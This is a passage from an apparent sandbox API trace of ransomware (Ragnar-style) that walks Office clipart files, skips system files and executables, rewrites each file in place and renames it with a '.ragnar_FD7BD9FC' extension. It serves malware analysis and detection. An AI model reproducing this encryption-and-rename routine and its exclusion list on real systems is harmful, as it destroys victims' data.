lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.734] lstrcpyW (in: lpString1=0x1eb62e, lpString2="CARBN_01.MID" | out: lpString1="CARBN_01.MID") returned="CARBN_01.MID" [0080.734] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned=".MID" [0080.734] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.734] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="autorun.inf") returned 1 [0080.734] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="boot.ini") returned 1 [0080.734] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="bootfont.bin") returned 1 [0080.734] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="bootsect.bak") returned 1 [0080.735] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="bootmgr") returned 1 [0080.735] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="bootmgr.efi") returned 1 [0080.735] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="bootmgfw.efi") returned 1 [0080.735] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="desktop.ini") returned -1 [0080.735] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="iconcache.db") returned -1 [0080.735] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="ntldr") returned -1 [0080.735] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="ntuser.dat") returned -1 [0080.735] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="ntuser.dat.log") returned -1 [0080.735] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="ntuser.ini") returned -1 [0080.735] lstrcmpiW (lpString1="CARBN_01.MID", lpString2="thumbs.db") returned -1 [0080.735] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0080.735] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0080.735] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0080.735] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0080.735] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0080.735] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0080.735] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0080.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid")) returned 0x20 [0080.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.735] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9322) returned 1 [0080.735] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2461, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.735] GetProcessHeap () returned 0x580000 [0080.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.736] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.737] VirtualAlloc (lpAddress=0x0, dwSize=0x246a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.737] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.737] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.737] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x246a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x246a, lpOverlapped=0x0) returned 1 [0080.738] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.738] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x246a, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.738] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x246a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x246a, lpOverlapped=0x0) returned 1 [0080.739] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x246a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.739] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.739] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x246a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.739] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.739] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.739] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.739] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.739] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.739] GetProcessHeap () returned 0x580000 [0080.739] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.739] CloseHandle (hObject=0xf4) returned 1 [0080.739] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" [0080.739] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.ragnar_FD7BD9FC" [0080.739] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.740] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceceee00, ftCreationTime.dwHighDateTime=0x1c9b81d, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xceceee00, ftLastWriteTime.dwHighDateTime=0x1c9b81d, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0080.740] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.740] lstrcpyW (in: lpString1=0x1eb62e, lpString2="CG1606.WMF" | out: lpString1="CG1606.WMF") returned="CG1606.WMF" [0080.740] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned=".WMF" [0080.740] lstrcmpiW (lpString1="CG1606.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.740] lstrcmpiW (lpString1="CG1606.WMF", lpString2="autorun.inf") returned 1 [0080.740] lstrcmpiW (lpString1="CG1606.WMF", lpString2="boot.ini") returned 1 [0080.740] lstrcmpiW (lpString1="CG1606.WMF", lpString2="bootfont.bin") returned 1 [0080.740] lstrcmpiW (lpString1="CG1606.WMF", lpString2="bootsect.bak") returned 1 [0080.740] lstrcmpiW (lpString1="CG1606.WMF", lpString2="bootmgr") returned 1 [0080.740] lstrcmpiW (lpString1="CG1606.WMF", lpString2="bootmgr.efi") returned 1 [0080.740] lstrcmpiW (lpString1="CG1606.WMF", lpString2="bootmgfw.efi") returned 1 [0080.740] lstrcmpiW (lpString1="CG1606.WMF", lpString2="desktop.ini") returned -1 [0080.740] lstrcmpiW (lpString1="CG1606.WMF", lpString2="iconcache.db") returned -1 [0080.740] lstrcmpiW (lpString1="CG1606.WMF", lpString2="ntldr") returned -1 [0080.740] lstrcmpiW (lpString1="CG1606.WMF", lpString2="ntuser.dat") returned -1 [0080.740] lstrcmpiW (lpString1="CG1606.WMF", lpString2="ntuser.dat.log") returned -1 [0080.740] lstrcmpiW (lpString1="CG1606.WMF", lpString2="ntuser.ini") returned -1 [0080.740] lstrcmpiW (lpString1="CG1606.WMF", lpString2="thumbs.db") returned -1 [0080.740] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.741] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.741] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.741] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.741] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.741] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.741] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 0x20 [0080.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.742] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3564) returned 1 [0080.742] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xde3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.742] GetProcessHeap () returned 0x580000 [0080.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.742] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.743] VirtualAlloc (lpAddress=0x0, dwSize=0xdec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.743] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.743] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.743] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xdec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xdec, lpOverlapped=0x0) returned 1 [0080.744] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.744] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdec, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.744] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xdec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xdec, lpOverlapped=0x0) returned 1 [0080.744] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.744] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.744] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xdec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.744] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.744] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.744] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.744] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.744] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.745] GetProcessHeap () returned 0x580000 [0080.745] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.745] CloseHandle (hObject=0xf4) returned 1 [0080.745] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" [0080.745] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.ragnar_FD7BD9FC" [0080.745] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.745] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0080.745] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.745] lstrcpyW (in: lpString1=0x1eb62e, lpString2="CLASSIC1.WMF" | out: lpString1="CLASSIC1.WMF") returned="CLASSIC1.WMF" [0080.745] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned=".WMF" [0080.745] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.745] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="autorun.inf") returned 1 [0080.745] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="boot.ini") returned 1 [0080.745] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="bootfont.bin") returned 1 [0080.746] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="bootsect.bak") returned 1 [0080.746] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="bootmgr") returned 1 [0080.746] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="bootmgr.efi") returned 1 [0080.746] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="bootmgfw.efi") returned 1 [0080.746] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="desktop.ini") returned -1 [0080.746] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="iconcache.db") returned -1 [0080.746] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="ntldr") returned -1 [0080.746] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="ntuser.dat") returned -1 [0080.746] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="ntuser.dat.log") returned -1 [0080.746] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="ntuser.ini") returned -1 [0080.746] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2="thumbs.db") returned -1 [0080.746] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.746] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.746] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.746] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.746] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.746] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.746] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 0x20 [0080.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.747] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2422) returned 1 [0080.747] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x96d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.747] GetProcessHeap () returned 0x580000 [0080.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.747] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.749] VirtualAlloc (lpAddress=0x0, dwSize=0x976, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.749] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.749] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.749] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x976, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x976, lpOverlapped=0x0) returned 1 [0080.749] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.749] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x976, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.749] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x976, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x976, lpOverlapped=0x0) returned 1 [0080.749] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x976, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.749] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.749] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x976, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.749] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.750] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.750] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.750] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.750] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.750] GetProcessHeap () returned 0x580000 [0080.750] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.750] CloseHandle (hObject=0xf4) returned 1 [0080.750] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" [0080.750] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.ragnar_FD7BD9FC" [0080.750] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.751] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0080.751] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.751] lstrcpyW (in: lpString1=0x1eb62e, lpString2="CLASSIC2.WMF" | out: lpString1="CLASSIC2.WMF") returned="CLASSIC2.WMF" [0080.751] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned=".WMF" [0080.751] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.751] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="autorun.inf") returned 1 [0080.751] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="boot.ini") returned 1 [0080.751] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2="bootfont.bin") returned 1 [0080.751] lstrcmpiW (lpString1="CLASSIC2.WMF", 